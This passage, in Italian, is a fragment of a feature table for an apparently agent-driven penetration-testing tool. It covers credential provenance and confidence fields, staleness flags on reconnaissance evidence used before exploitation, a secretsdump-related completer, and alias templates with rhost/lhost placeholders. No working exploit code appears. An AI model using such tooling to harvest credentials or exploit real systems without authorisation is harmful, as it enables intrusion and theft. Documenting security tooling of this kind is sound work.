| Provenienza + confidenza sulle credenziali | Ogni credenziale esposta tramite target_context include is_likely_credential, confidence, classification e un blocco provenance (source_file, line_no, captured_at) quando trovata. | Necessario per la catena di custodia nei report di pentest. |
| Annotazioni di freschezza | Ogni file di evidenza nel SITREP JSON e in target_context porta age_seconds, age_human e stale=true una volta superata freshness_threshold_seconds (predefinito 7 giorni; configurabile per chiamata). | Impedisce all'agente di sfruttare sulla base di evidenze di ricognizione obsolete. |
secretsdumpPayloadAwareCompleter |
| Risoluzione dinamica degli alias | cli/aliases.py ora usa lazy=True come predefinito: i template degli alias mantengono i loro placeholder {rhost}/{lhost}/ecc. e vengono renderizzati rispetto a self.params al momento dell'esecuzione. set rhost X si propaga a ogni alias al successivo tasto premuto (nessun riavvio della shell). La pre-sostituzione è ancora disponibile con lazy=False. | DynamicAliasResolver, cli/aliases.py |